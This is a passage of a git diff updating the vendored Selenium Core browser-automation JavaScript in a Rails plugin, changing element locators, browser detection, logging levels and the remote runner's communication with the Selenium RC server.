+    if (locators.length > 1) {
+        for (var i = 0; i < pageElements.length; ++i) {
+            var locatedElements = eval_locator(locators[1], inDocument,
+                pageElements[i]);
+            if (locatedElements.length) {
+                locatedElement = locatedElements[0];
+                break;
+            }
+        }
+    }
+    else if (pageElements.length) {
+        locatedElement = pageElements[0];
+    }
+    
+    return locatedElement;
+}
+
+BrowserBot.prototype.locateElementByUIElement.prefix = 'ui';
+
+// define a function used to compare the result of a close UI element
+// match with the actual interacted element. If they are close enough
+// according to the heuristic, consider them a match.
+/**
+ * A heuristic function for comparing a node with a target node. Typically the
+ * node is specified in a UI element definition, while the target node is
+ * returned by the recorder as the leaf element which had some event enacted
+ * upon it. This particular heuristic covers the case where the anchor element
+ * contains other inline tags, such as "em" or "img".
+ *
+ * @param node    the node being compared to the target node
+ * @param target  the target node
+ * @return        true if node equals target, or if node is a link
+ *                element and target is its descendant, or if node has
+ *                an onclick attribute and target is its descendant.
+ *                False otherwise.
+ */
+BrowserBot.prototype.locateElementByUIElement.is_fuzzy_match = function(node, target) {
+    try {
+        var isMatch = (
+            (node == target) ||
+            ((node.nodeName == 'A' || node.onclick) && is_ancestor(node, target))
+        );
+        return isMatch;
+    }
+    catch (e) {
+        return false;
+    }
+};
 
 /*****************************************************************/
 /* BROWSER-SPECIFIC FUNCTIONS ONLY AFTER THIS LINE */
@@ -1545,9 +1874,12 @@ KonquerorBrowserBot.prototype.setOpenLocation = function(win, loc) {
     // so we just refresh in that case instead.
     loc = absolutify(loc, this.baseUrl);
     loc = canonicalize(loc);
-    var startLoc = parseUrl(win.location.href);
-    startLoc.hash = null;
-    var startUrl = reassembleLocation(startLoc);
+    var startUrl = win.location.href;
+    if ("about:blank" != win.location.href) {
+        var startLoc = parseUrl(win.location.href);
+        startLoc.hash = null;
+        var startUrl = reassembleLocation(startLoc);
+    }
     LOG.debug("startUrl="+startUrl);
     LOG.debug("win.location.href="+win.location.href);
     LOG.debug("loc="+loc);
@@ -1606,7 +1938,7 @@ IEBrowserBot.prototype._handleClosedSubFrame = function(testWindow, doNotModify)
     if (this.proxyInjectionMode) {
         return testWindow;
     }
-    
+
     try {
         testWindow.location.href;
         this.permDenied = 0;
@@ -1639,10 +1971,32 @@ IEBrowserBot.prototype.modifyWindowToRecordPopUpDialogs = function(windowToModif
         var doc_location = document.location.toString();
         var end_of_base_ref = doc_location.indexOf('TestRunner.html');
         var base_ref = doc_location.substring(0, end_of_base_ref);
-
-        var fullURL = base_ref + "TestRunner.html?singletest=" + escape(browserBot.modalDialogTest) + "&autoURL=" + escape(url) + "&runInterval=" + runOptions.runInterval;
+        var runInterval = '';
+        
+        // Only set run interval if options is defined
+        if (typeof(window.runOptions) != 'undefined') {
+            runInterval = "&runInterval=" + runOptions.runInterval;
+        }
+            
+        var testRunnerURL = "TestRunner.html?auto=true&singletest=" 
+            + escape(browserBot.modalDialogTest)
+            + "&autoURL=" 
+            + escape(url) 
+            + runInterval;
+        var fullURL = base_ref + testRunnerURL;
         browserBot.modalDialogTest = null;
 
+        // If using proxy injection mode
+        if (this.proxyInjectionMode) {
+            var sessionId = runOptions.getSessionId();
+            if (sessionId == undefined) {
+                sessionId = injectedSessionId;
+            }
+            if (sessionId != undefined) {
+                LOG.debug("Invoking showModalDialog and injecting URL " + fullURL);
+            }
+            fullURL = url;
+        }
         var returnValue = oldShowModalDialog(fullURL, args, features);
         return returnValue;
     };
@@ -1665,7 +2019,7 @@ IEBrowserBot.prototype.pollForLoad = function(loadFunction, windowObject, origin
     if (this.pageLoadError) {
         if (this.pageUnloading) {
             var self = this;
-            LOG.warn("pollForLoad UNLOADING (" + marker + "): caught exception while firing events on unloading page: " + this.pageLoadError.message);
+            LOG.debug("pollForLoad UNLOADING (" + marker + "): caught exception while firing events on unloading page: " + this.pageLoadError.message);
             this.reschedulePoller(loadFunction, windowObject, originalDocument, originalLocation, originalHref, marker);
             this.pageLoadError = null;
             return;
@@ -1683,15 +2037,15 @@ IEBrowserBot.prototype.pollForLoad = function(loadFunction, windowObject, origin
                     canAccessCurrentlySelectedWindow = true;
                 } catch (e) {}
                 if (canAccessCurrentlySelectedWindow & !canAccessThisWindow) {
-                    LOG.warn("pollForLoad (" + marker + ") ABORTING: " + this.pageLoadError.message + " (" + this.permDeniedCount[marker] + "), but the currently selected window is fine");
+                    LOG.debug("pollForLoad (" + marker + ") ABORTING: " + this.pageLoadError.message + " (" + this.permDeniedCount[marker] + "), but the currently selected window is fine");
                     // returning without rescheduling
                     this.pageLoadError = null;
                     return;
                 }
             }
-            
+
             var self = this;
-            LOG.warn("pollForLoad (" + marker + "): " + this.pageLoadError.message + " (" + this.permDeniedCount[marker] + "), waiting to see if it goes away");
+            LOG.debug("pollForLoad (" + marker + "): " + this.pageLoadError.message + " (" + this.permDeniedCount[marker] + "), waiting to see if it goes away");
             this.reschedulePoller(loadFunction, windowObject, originalDocument, originalLocation, originalHref, marker);
             this.pageLoadError = null;
             return;
@@ -1732,7 +2086,7 @@ IEBrowserBot.prototype._windowClosed = function(win) {
         return c;
     } catch (e) {
         LOG.debug("IEBrowserBot._windowClosed: Got an exception trying to read win.closed; we'll have to take a guess!");
-            
+
         if (browserVersion.isHTA) {
             if (e.message == "Permission denied") {
                 // the window is probably unloading, which means it's not closed yet
@@ -1782,7 +2136,7 @@ SafariBrowserBot.prototype.modifyWindowToRecordPopUpDialogs = function(windowToM
         var openedWindow = originalOpen(newUrl, windowName, windowFeatures, replaceFlag);
         LOG.debug("window.open call intercepted; window ID (which you can use with selectWindow()) is \"" +  windowName + "\"");
         if (windowName!=null) {
-        	openedWindow["seleniumWindowName"] = windowName;
+            openedWindow["seleniumWindowName"] = windowName;
         }
         return openedWindow;
     };
@@ -1802,7 +2156,7 @@ MozillaBrowserBot.prototype._fireEventOnElement = function(eventType, element, c
     element.addEventListener(eventType, function(evt) {
         savedEvent = evt;
     }, false);
-    
+
     this._modifyElementTarget(element);
 
     // Trigger the event.
@@ -1811,7 +2165,7 @@ MozillaBrowserBot.prototype._fireEventOnElement = function(eventType, element, c
     if (this._windowClosed(win)) {
         return;
     }
-    
+
     // Perform the link action if preventDefault was set.
     // In chrome URL, the link action is already executed by triggerMouseEvent.
     if (!browserVersion.isChrome && savedEvent != null && !savedEvent.getPreventDefault()) {
@@ -1829,7 +2183,7 @@ MozillaBrowserBot.prototype._fireEventOnElement = function(eventType, element, c
 OperaBrowserBot.prototype._fireEventOnElement = function(eventType, element, clientX, clientY) {
     var win = this.getCurrentWindow();
     triggerEvent(element, 'focus', false);
-    
+
     this._modifyElementTarget(element);
 
     // Trigger the click event.
@@ -1845,11 +2199,11 @@ OperaBrowserBot.prototype._fireEventOnElement = function(eventType, element, cli
 KonquerorBrowserBot.prototype._fireEventOnElement = function(eventType, element, clientX, clientY) {
     var win = this.getCurrentWindow();
     triggerEvent(element, 'focus', false);
-    
+
     this._modifyElementTarget(element);
 
     if (element[eventType]) {
-    	element[eventType]();
+        element[eventType]();
     }
     else {
         this.browserbot.triggerMouseEvent(element, eventType, true, clientX, clientY);
@@ -1864,12 +2218,12 @@ KonquerorBrowserBot.prototype._fireEventOnElement = function(eventType, element,
 SafariBrowserBot.prototype._fireEventOnElement = function(eventType, element, clientX, clientY) {
     triggerEvent(element, 'focus', false);
     var wasChecked = element.checked;
-    
+
     this._modifyElementTarget(element);
 
     // For form element it is simple.
     if (element[eventType]) {
-    	element[eventType]();
+        element[eventType]();
     }
     // For links and other elements, event emulation is required.
     else {
@@ -1910,7 +2264,7 @@ IEBrowserBot.prototype._fireEventOnElement = function(eventType, element, client
     win.attachEvent("onbeforeunload", pageUnloadDetector);
     this._modifyElementTarget(element);
     if (element[eventType]) {
-    	element[eventType]();
+        element[eventType]();
     }
     else {
         this.browserbot.triggerMouseEvent(element, eventType, true, clientX, clientY);
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/scripts/selenium-browserdetect.js b/vendor/plugins/selenium-on-rails/selenium-core/scripts/selenium-browserdetect.js
index a9607371..825521f0 100644
--- a/vendor/plugins/selenium-on-rails/selenium-core/scripts/selenium-browserdetect.js
+++ b/vendor/plugins/selenium-on-rails/selenium-core/scripts/selenium-browserdetect.js
@@ -24,6 +24,14 @@
 var BrowserVersion = function() {
     this.name = navigator.appName;
 
+    if (navigator.userAgent.indexOf('Mac OS X') != -1) {
+        this.isOSX = true;
+    }
+
+    if (navigator.userAgent.indexOf('Windows NT 6') != -1) {
+        this.isVista = true;
+    }
+
     if (window.opera != null) {
         this.browser = BrowserVersion.OPERA;
         this.isOpera = true;
@@ -85,9 +93,12 @@ var BrowserVersion = function() {
                 self.isHTA = false;
             }
         }
+        if (navigator.appVersion.match(/MSIE 6.0/)) {
+        	this.isIE6 = true;
+        }
         if ("0" == navigator.appMinorVersion) {
             this.preSV1 = true;
-            if (navigator.appVersion.match(/MSIE 6.0/)) {
+            if (this.isIE6) {
             	this.appearsToBeBrokenInitialIE6 = true;
             }
         }
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/scripts/selenium-commandhandlers.js b/vendor/plugins/selenium-on-rails/selenium-core/scripts/selenium-commandhandlers.js
index a23e9335..c893b675 100644
--- a/vendor/plugins/selenium-on-rails/selenium-core/scripts/selenium-commandhandlers.js
+++ b/vendor/plugins/selenium-on-rails/selenium-core/scripts/selenium-commandhandlers.js
@@ -136,6 +136,7 @@ objectExtend(CommandHandlerFactory.prototype, {
         // is true when the value returned by the accessor matches the specified value.
         return function(target, value) {
             var accessorResult = accessBlock(target);
+            accessorResult = selArrayToString(accessorResult);
             if (PatternMatcher.matches(value, accessorResult)) {
                 return new PredicateResult(true, "Actual value '" + accessorResult + "' did match '" + value + "'");
             } else {
@@ -150,6 +151,7 @@ objectExtend(CommandHandlerFactory.prototype, {
         // is true when the value returned by the accessor matches the specified value.
         return function(value) {
             var accessorResult = accessBlock();
+            accessorResult = selArrayToString(accessorResult);
             if (PatternMatcher.matches(value, accessorResult)) {
                 return new PredicateResult(true, "Actual value '" + accessorResult + "' did match '" + value + "'");
             } else {
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/scripts/selenium-executionloop.js b/vendor/plugins/selenium-on-rails/selenium-core/scripts/selenium-executionloop.js
index be54115e..39fa2421 100644
--- a/vendor/plugins/selenium-on-rails/selenium-core/scripts/selenium-executionloop.js
+++ b/vendor/plugins/selenium-on-rails/selenium-core/scripts/selenium-executionloop.js
@@ -79,7 +79,7 @@ TestLoop.prototype = {
             this.continueTestWhenConditionIsTrue();
         } catch (e) {
             if (!this._handleCommandError(e)) {
-                this._testComplete();
+                this.testComplete();
             } else {
                 this.continueTest();
             }
@@ -119,10 +119,8 @@ TestLoop.prototype = {
     _handleCommandError : function(e) {
         if (!e.isSeleniumError) {
             LOG.exception(e);
-            var msg = "Selenium failure. Please report to selenium-dev@openqa.org, with error details from the log window.";
-            if (e.message) {
-                msg += "  The error message is: " + e.message;
-            }
+            var msg = "Command execution failure. Please search the forum at http://clearspace.openqa.org for error details from the log window.";
+            msg += "  The error message is: " + extractExceptionMessage(e);
             return this.commandError(msg);
         } else {
             LOG.error(e.message);
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/scripts/selenium-logging.js b/vendor/plugins/selenium-on-rails/selenium-core/scripts/selenium-logging.js
index 6dac9518..eac9d2a7 100644
--- a/vendor/plugins/selenium-on-rails/selenium-core/scripts/selenium-logging.js
+++ b/vendor/plugins/selenium-on-rails/selenium-core/scripts/selenium-logging.js
@@ -19,11 +19,24 @@ var Logger = function() {
 }
 Logger.prototype = {
 
+    logLevels: {
+        debug: 0,
+        info: 1,
+        warn: 2,
+        error: 3,
+        off: 999
+    },
+
     pendingMessages: new Array(),
+    
+    threshold: "info",
 
     setLogLevelThreshold: function(logLevel) {
-        this.pendingLogLevelThreshold = logLevel;
-        this.show();
+        this.threshold = logLevel;
+        var logWindow = this.getLogWindow()
+        if (logWindow && logWindow.setThresholdLevel) {
+            logWindow.setThresholdLevel(logLevel);
+        }
         // NOTE: log messages will be discarded until the log window is
         // fully loaded.
     },
@@ -32,23 +45,12 @@ Logger.prototype = {
         if (this.logWindow && this.logWindow.closed) {
             this.logWindow = null;
         }
-        if (this.logWindow && this.pendingLogLevelThreshold && this.logWindow.setThresholdLevel) {
-            this.logWindow.setThresholdLevel(this.pendingLogLevelThreshold);
-            
-            // can't just directly log because that action would loop back
-            // to this code infinitely
-            var pendingMessage = new LogMessage("info", "Log level programmatically set to " + this.pendingLogLevelThreshold + " (presumably by driven-mode test code)");
-            this.pendingMessages.push(pendingMessage);
-            
-            this.pendingLogLevelThreshold = null;    // let's only go this way one time
-        }
-
         return this.logWindow;
     },
     
     openLogWindow: function() {
         this.logWindow = window.open(
-            getDocumentBase(document) + "SeleniumLog.html", "SeleniumLog",
+            getDocumentBase(document) + "SeleniumLog.html?startingThreshold="+this.threshold, "SeleniumLog",
             "width=600,height=1000,bottom=0,right=0,status,scrollbars,resizable"
         );
         this.logWindow.moveTo(window.screenX + 1210, window.screenY + window.outerHeight - 1400);
@@ -66,33 +68,39 @@ Logger.prototype = {
         if (! this.getLogWindow()) {
             this.openLogWindow();
         }
-        setTimeout(function(){LOG.info("Log window displayed");}, 500);
+        setTimeout(function(){LOG.error("Log window displayed.  Logging events will now be recorded to this window.");}, 500);
     },
 
-    logHook: function(className, message) {
+    logHook: function(logLevel, message) {
     },
 
-    log: function(className, message) {
+    log: function(logLevel, message) {
+        if (this.logLevels[logLevel] < this.logLevels[this.threshold]) {
+            return;
+        }
+        this.logHook(logLevel, message);
         var logWindow = this.getLogWindow();
-        this.logHook(className, message);
         if (logWindow) {
             if (logWindow.append) {
+                if (logWindow.disabled) {
+                    logWindow.callBack = fnBind(this.setLogLevelThreshold, this);
+                    logWindow.enableButtons();
+                }
                 if (this.pendingMessages.length > 0) {
-                    logWindow.append("info: Appending missed logging messages", "info");
+                    logWindow.append("info("+(new Date().getTime())+"): Appending missed logging messages", "info");
                     while (this.pendingMessages.length > 0) {
                         var msg = this.pendingMessages.shift();
-                        logWindow.append(msg.type + ": " + msg.msg, msg.type);
+                        logWindow.append(msg.type + "("+msg.timestamp+"): " + msg.msg, msg.type);
                     }
-                    logWindow.append("info: Done appending missed logging messages", "info");
+                    logWindow.append("info("+(new Date().getTime())+"): Done appending missed logging messages", "info");
                 }
-                logWindow.append(className + ": " + message, className);
+                logWindow.append(logLevel + "("+(new Date().getTime())+"): " + message, logLevel);
             }
         } else {
-            // uncomment this to turn on background logging
-            /* these logging messages are never flushed, which creates 
-               an enormous array of strings that never stops growing.  Only
-               turn this on if you need it for debugging! */
-            //this.pendingMessages.push(new LogMessage(className, message));
+            // TODO these logging messages are never flushed, which creates 
+            //   an enormous array of strings that never stops growing.
+            //   there should at least be a way to clear the messages!
+            this.pendingMessages.push(new LogMessage(logLevel, message));
         }
     },
 
@@ -136,4 +144,5 @@ var LOG = new Logger();
 var LogMessage = function(type, msg) {
     this.type = type;
     this.msg = msg;
+    this.timestamp = (new Date().getTime());
 }
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/scripts/selenium-remoterunner.js b/vendor/plugins/selenium-on-rails/selenium-core/scripts/selenium-remoterunner.js
index 1c95c134..70ed3282 100644
--- a/vendor/plugins/selenium-on-rails/selenium-core/scripts/selenium-remoterunner.js
+++ b/vendor/plugins/selenium-on-rails/selenium-core/scripts/selenium-remoterunner.js
@@ -22,16 +22,23 @@ workingColor = "#DEE7EC";
 doneColor = "#FFFFCC";
 
 var injectedSessionId;
-var cmd1 = document.createElement("div");
-var cmd2 = document.createElement("div");
-var cmd3 = document.createElement("div");
-var cmd4 = document.createElement("div");
 
 var postResult = "START";
 var debugMode = false;
 var relayToRC = null;
 var proxyInjectionMode = false;
 var uniqueId = 'sel_' + Math.round(100000 * Math.random());
+var seleniumSequenceNumber = 0;
+var cmd8 = "";
+var cmd7 = "";
+var cmd6 = "";
+var cmd5 = "";
+var cmd4 = "";
+var cmd3 = "";
+var cmd2 = "";
+var cmd1 = "";
+var lastCmd = "";
+var lastCmdTime = new Date();
 
 var RemoteRunnerOptions = classCreate();
 objectExtend(RemoteRunnerOptions.prototype, URLConfiguration.prototype);
@@ -51,8 +58,12 @@ objectExtend(RemoteRunnerOptions.prototype, {
         return this._getQueryParameter("driverUrl");
     },
 
+    // requires per-session extension Javascript as soon as this Selenium
+    // instance becomes aware of the session identifier
     getSessionId: function() {
-        return this._getQueryParameter("sessionId");
+        var sessionId = this._getQueryParameter("sessionId");
+        requireExtensionJs(sessionId);
+        return sessionId;
     },
 
     _acquireQueryString: function () {
@@ -62,7 +73,7 @@ objectExtend(RemoteRunnerOptions.prototype, {
             if (args.length < 2) return null;
             this.queryString = args[1];
         } else if (proxyInjectionMode) {
-            this.queryString = selenium.browserbot.getCurrentWindow().location.search.substr(1);
+            this.queryString = window.location.search.substr(1);
         } else {
             this.queryString = top.location.search.substr(1);
         }
@@ -77,8 +88,8 @@ function runSeleniumTest() {
 
     if (runOptions.isMultiWindowMode()) {
         testAppWindow = openSeparateApplicationWindow('Blank.html', true);
-    } else if ($('myiframe') != null) {
-        var myiframe = $('myiframe');
+    } else if (sel$('selenium_myiframe') != null) {
+        var myiframe = sel$('selenium_myiframe');
         if (myiframe) {
             testAppWindow = myiframe.contentWindow;
         }
@@ -95,7 +106,7 @@ function runSeleniumTest() {
         debugMode = runOptions.isDebugMode();
     }
     if (proxyInjectionMode) {
-        LOG.log = logToRc;
+        LOG.logHook = logToRc;
         selenium.browserbot._modifyWindow(testAppWindow);
     }
     else if (debugMode) {
@@ -108,13 +119,6 @@ function runSeleniumTest() {
 
     currentTest = new RemoteRunner(commandFactory);
 
-    if (document.getElementById("commandList") != null) {
-        document.getElementById("commandList").appendChild(cmd4);
-        document.getElementById("commandList").appendChild(cmd3);
-        document.getElementById("commandList").appendChild(cmd2);
-        document.getElementById("commandList").appendChild(cmd1);
-    }
-
     var doContinue = runOptions.getContinue();
     if (doContinue != null) postResult = "OK";
 
@@ -130,21 +134,18 @@ function buildDriverUrl() {
     var slashPairOffset = s.indexOf("//") + "//".length
     var pathSlashOffset = s.substring(slashPairOffset).indexOf("/")
     return s.substring(0, slashPairOffset + pathSlashOffset) + "/selenium-server/driver/";
+    //return "http://localhost" + uniqueId + "/selenium-server/driver/";
 }
 
 function logToRc(logLevel, message) {
-    if (logLevel == null) {
-        logLevel = "debug";
-    }
     if (debugMode) {
-        sendToRC("logLevel=" + logLevel + ":" + message.replace(/[\n\r\015]/g, " ") + "\n", "logging=true");
+        if (logLevel == null) {
+            logLevel = "debug";
+        }
+        sendToRCAndForget("logLevel=" + logLevel + ":" + message.replace(/[\n\r\015]/g, " ") + "\n", "logging=true");
     }
 }
 
-function isArray(x) {
-    return ((typeof x) == "object") && (x["length"] != null);
-}
-
 function serializeString(name, s) {
     return name + "=unescape(\"" + escape(s) + "\");";
 }
@@ -176,7 +177,7 @@ function serializeObject(name, x)
 function relayBotToRC(s) {
 }
 
-// seems like no one uses this, but in fact it is called using eval from server-side PI mode code; however, 
+// seems like no one uses this, but in fact it is called using eval from server-side PI mode code; however,
 // because multiple names can map to the same popup, assigning a single name confuses matters sometimes;
 // thus, I'm disabling this for now.  -Nelson 10/21/06
 function setSeleniumWindowName(seleniumWindowName) {
@@ -204,33 +205,44 @@ objectExtend(RemoteRunner.prototype, {
 
     commandStarted : function(command) {
         this.commandNode = document.createElement("div");
-        var innerHTML = command.command + '(';
+        var cmdText = command.command + '(';
         if (command.target != null && command.target != "") {
-            innerHTML += command.target;
+            cmdText += command.target;
             if (command.value != null && command.value != "") {
-                innerHTML += ', ' + command.value;
+                cmdText += ', ' + command.value;
             }
         }
-        innerHTML += ")";
-        if (innerHTML.length >40) {
-            innerHTML = innerHTML.substring(0,40);
-            innerHTML += "...";
+        if (cmdText.length > 70) {
+            cmdText = cmdText.substring(0, 70) + "...\n";
+        } else {
+            cmdText += ")\n";
         }
-        this.commandNode.innerHTML = innerHTML;
-        this.commandNode.style.backgroundColor = workingColor;
-        if (document.getElementById("commandList") != null) {
-            document.getElementById("commandList").removeChild(cmd1);
-            document.getElementById("commandList").removeChild(cmd2);
-            document.getElementById("commandList").removeChild(cmd3);
-            document.getElementById("commandList").removeChild(cmd4);
+
+        if (cmdText == lastCmd) {
+	        var rightNow = new Date();
+	        var msSinceStart = rightNow.getTime() - lastCmdTime.getTime();
+	        var sinceStart = msSinceStart + "ms";
+	        if (msSinceStart > 1000) {
+		        sinceStart = Math.round(msSinceStart / 1000) + "s";
+		    }
+            cmd1 = "Same command (" + sinceStart + "): " + lastCmd;
+        } else {
+	        lastCmdTime = new Date();
+            cmd8 = cmd7;
+            cmd7 = cmd6;
+            cmd6 = cmd5;
+            cmd5 = cmd4;
             cmd4 = cmd3;
             cmd3 = cmd2;
             cmd2 = cmd1;
-            cmd1 = this.commandNode;
-            document.getElementById("commandList").appendChild(cmd4);
-            document.getElementById("commandList").appendChild(cmd3);
-            document.getElementById("commandList").appendChild(cmd2);
-            document.getElementById("commandList").appendChild(cmd1);
+            cmd1 = cmdText;
+        }
+        lastCmd = cmdText;
+        
+        if (! proxyInjectionMode) {
+            var commandList = document.commands.commandList;
+            commandList.value = cmd8 + cmd7 + cmd6 + cmd5 + cmd4 + cmd3 + cmd2 + cmd1;
+            commandList.scrollTop = commandList.scrollHeight;
         }
     },
 
@@ -250,7 +262,9 @@ objectExtend(RemoteRunner.prototype, {
             if (result.result == null) {
                 postResult = "OK";
             } else {
-                postResult = "OK," + result.result;
+                var actualResult = result.result;
+                actualResult = selArrayToString(actualResult);
+                postResult = "OK," + actualResult;
             }
             this.commandNode.style.backgroundColor = doneColor;
         }
@@ -259,7 +273,7 @@ objectExtend(RemoteRunner.prototype, {
     commandError : function(message) {
         postResult = "ERROR: " + message;
         this.commandNode.style.backgroundColor = errorColor;
-        this.commandNode.title = message;
+        this.commandNode.titcle = message;
     },
 
     testComplete : function() {
@@ -270,16 +284,26 @@ objectExtend(RemoteRunner.prototype, {
     },
 
     _HandleHttpResponse : function() {
+        // When request is completed
         if (this.xmlHttpForCommandsAndResults.readyState == 4) {
+            // OK
             if (this.xmlHttpForCommandsAndResults.status == 200) {
             	if (this.xmlHttpForCommandsAndResults.responseText=="") {
                     LOG.error("saw blank string xmlHttpForCommandsAndResults.responseText");
                     return;
                 }
                 var command = this._extractCommand(this.xmlHttpForCommandsAndResults);
-                this.currentCommand = command;
-                this.continueTestAtCurrentCommand();
-            } else {
+                if (command.command == 'retryLast') {
+                    setTimeout(fnBind(function() {
+                        sendToRC("RETRY", "retry=true", fnBind(this._HandleHttpResponse, this), this.xmlHttpForCommandsAndResults, true);
+                    }, this), 1000);
+                } else {
+                    this.currentCommand = command;
+                    this.continueTestAtCurrentCommand();
+                }
+            }
+            // Not OK 
+            else {
                 var s = 'xmlHttp returned: ' + this.xmlHttpForCommandsAndResults.status + ": " + this.xmlHttpForCommandsAndResults.statusText;
                 LOG.error(s);
                 this.currentCommand = null;
@@ -290,7 +314,15 @@ objectExtend(RemoteRunner.prototype, {
     },
 
     _extractCommand : function(xmlHttp) {
-        var command;
+        var command, text, json;
+        text = command = xmlHttp.responseText;
+        if (/^json=/.test(text)) {
+            eval(text);
+            if (json.rest) {
+                eval(json.rest);
+            }
+            return json;
+        }
         try {
             var re = new RegExp("^(.*?)\n((.|[\r\n])*)");
             if (re.exec(xmlHttp.responseText)) {
@@ -364,21 +396,68 @@ function sendToRC(dataToBePosted, urlParms, callback, xmlHttpObject, async) {
     if (urlParms) {
         url += urlParms;
     }
-    url += "&localFrameAddress=" + (proxyInjectionMode ? makeAddressToAUTFrame() : "top");
-    url += getSeleniumWindowNameURLparameters();
-    url += "&uniqueId=" + uniqueId;
+    url = addUrlParams(url);
+    url += "&sequenceNumber=" + seleniumSequenceNumber++;
+    
+    var postedData = "postedData=" + encodeURIComponent(dataToBePosted);
 
-    if (callback == null) {
-        callback = function() {
-        };
-    }
-    url += buildDriverParams() + preventBrowserCaching();
+    //xmlHttpObject.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
     xmlHttpObject.open("POST", url, async);
-    xmlHttpObject.onreadystatechange = callback;
-    xmlHttpObject.send(dataToBePosted);
+    if (callback) xmlHttpObject.onreadystatechange = callback;
+    xmlHttpObject.send(postedData);
     return null;
 }
 
+function addUrlParams(url) {
+    return url + "&localFrameAddress=" + (proxyInjectionMode ? makeAddressToAUTFrame() : "top")
+    + getSeleniumWindowNameURLparameters()
+    + "&uniqueId=" + uniqueId
+    + buildDriverParams() + preventBrowserCaching()
+}
+
+function sendToRCAndForget(dataToBePosted, urlParams) {
+    var url;
+    if (!(browserVersion.isChrome || browserVersion.isHTA)) { 
+        // DGF we're behind a proxy, so we can send our logging message to literally any host, to avoid 2-connection limit
+        var protocol = "http:";
+        if (window.location.protocol == "https:") {
+            // DGF if we're in HTTPS, use another HTTPS url to avoid security warning
+            protocol = "https:";
+        }
+        // we don't choose a super large random value, but rather 1 - 16, because this matches with the pre-computed
+        // tunnels waiting on the Selenium Server side. This gives us higher throughput than the two-connection-per-host
+        // limitation, but doesn't require we generate an extremely large ammount of fake SSL certs either.
+        url = protocol + "//" + Math.floor(Math.random()* 16 + 1) + ".selenium.doesnotexist/selenium-server/driver/?" + urlParams;
+    } else {
+        url = buildDriverUrl() + "?" + urlParams;
+    }
+    url = addUrlParams(url);
+    
+    var method = "GET";
+    if (method == "POST") {
+        // DGF submit a request using an iframe; we can't see the response, but we don't need to
+        // TODO not using this mechanism because it screws up back-button
+        var loggingForm = document.createElement("form");
+        loggingForm.method = "POST";
+        loggingForm.action = url;
+        loggingForm.target = "seleniumLoggingFrame";
+        var postedDataInput = document.createElement("input");
+        postedDataInput.type = "hidden";
+        postedDataInput.name = "postedData";
+        postedDataInput.value = dataToBePosted;
+        loggingForm.appendChild(postedDataInput);
+        document.body.appendChild(loggingForm);
+        loggingForm.submit();
+        document.body.removeChild(loggingForm);
+    } else {
+        var postedData = "&postedData=" + encodeURIComponent(dataToBePosted);
+        var scriptTag = document.createElement("script");
+        scriptTag.src = url + postedData;
+        document.body.appendChild(scriptTag);
+        document.body.removeChild(scriptTag);
+    }
+}
+
 function buildDriverParams() {
     var params = "";
 
@@ -402,7 +481,7 @@ function preventBrowserCaching() {
 //
 // In selenium, the main (i.e., first) window's name is a blank string.
 //
-// Additional pop-ups are associated with either 1.) the name given by the 2nd parameter to window.open, or 2.) the name of a 
+// Additional pop-ups are associated with either 1.) the name given by the 2nd parameter to window.open, or 2.) the name of a
 // property on the opening window which points at the window.
 //
 // An example of #2: if window X contains JavaScript as follows:
@@ -420,11 +499,13 @@ function getSeleniumWindowNameURLparameters() {
         return s;
     }
     if (w["seleniumWindowName"] == null) {
-    	s +=  'generatedSeleniumWindowName_' + Math.round(100000 * Math.random());
-    }
-    else {
-    	s += w["seleniumWindowName"];
+        if (w.name) {
+            w["seleniumWindowName"] = w.name;
+        } else {
+    	    w["seleniumWindowName"] = 'generatedSeleniumWindowName_' + Math.round(100000 * Math.random());
+    	}
     }
+    s += w["seleniumWindowName"];
     var windowOpener = w.opener;
     for (key in windowOpener) {
         var val = null;
@@ -432,7 +513,7 @@ function getSeleniumWindowNameURLparameters() {
     	    val = windowOpener[key];
         }
         catch(e) {
-        }        
+        }
         if (val==w) {
 	    s += "&jsWindowNameVar=" + key;			// found a js variable in the opener referring to this window
         }
@@ -464,3 +545,151 @@ function makeAddressToAUTFrame(w, frameNavigationalJSexpression)
     }
     return null;
 }
+
+Selenium.prototype.doSetContext = function(context) {
+    /**
+   * Writes a message to the status bar and adds a note to the browser-side
+   * log.
+   *
+   * @param context
+   *            the message to be sent to the browser
+   */
+    //set the current test title
+    var ctx = document.getElementById("context");
+    if (ctx != null) {
+        ctx.innerHTML = context;
+    }
+};
+
+/**
+ * Adds a script tag referencing a specially-named user extensions "file". The
+ * resource handler for this special file (which won't actually exist) will use
+ * the session ID embedded in its name to retrieve per-session specified user
+ * extension javascript.
+ *
+ * @param sessionId
+ */
+function requireExtensionJs(sessionId) {
+    var src = 'scripts/user-extensions.js[' + sessionId + ']';
+    if (document.getElementById(src) == null) {
+        var scriptTag = document.createElement('script');
+        scriptTag.language = 'JavaScript';
+        scriptTag.type = 'text/javascript';
+        scriptTag.src = src;
+        scriptTag.id = src;
+        var headTag = document.getElementsByTagName('head')[0];
+        headTag.appendChild(scriptTag);
+    }
+}
+
+Selenium.prototype.doAttachFile = function(fieldLocator,fileLocator) {
+   /**
+   * Sets a file input (upload) field to the file listed in fileLocator
+   *
+   *  @param fieldLocator an <a href="#locators">element locator</a>
+   *  @param fileLocator a URL pointing to the specified file. Before the file
+   *  can be set in the input field (fieldLocator), Selenium RC may need to transfer the file  
+   *  to the local machine before attaching the file in a web page form. This is common in selenium
+   *  grid configurations where the RC server driving the browser is not the same
+   *  machine that started the test.
+   *
+   *  Supported Browsers: Firefox ("*chrome") only.
+   *   
+   */
+   // This doesn't really do anything on the JS side; we let the Selenium Server take care of this for us! 
+};
+
+Selenium.prototype.doCaptureScreenshot = function(filename) {
+    /**
+    * Captures a PNG screenshot to the specified file.
+    *
+    * @param filename the absolute path to the file to be written, e.g. "c:\blah\screenshot.png"
+    */
+    // This doesn't really do anything on the JS side; we let the Selenium Server take care of this for us!
+};
+
+Selenium.prototype.doCaptureScreenshotToString = function() {
+    /**
+    * Capture a PNG screenshot.  It then returns the file as a base 64 encoded string. 
+    * 
+    * @return string The base 64 encoded string of the screen shot (PNG file)
+    */
+    // This doesn't really do anything on the JS side; we let the Selenium Server take care of this for us!
+};
+
+Selenium.prototype.doCaptureEntirePageScreenshotToString = function(kwargs) {
+    /**
+    * Downloads a screenshot of the browser current window canvas to a 
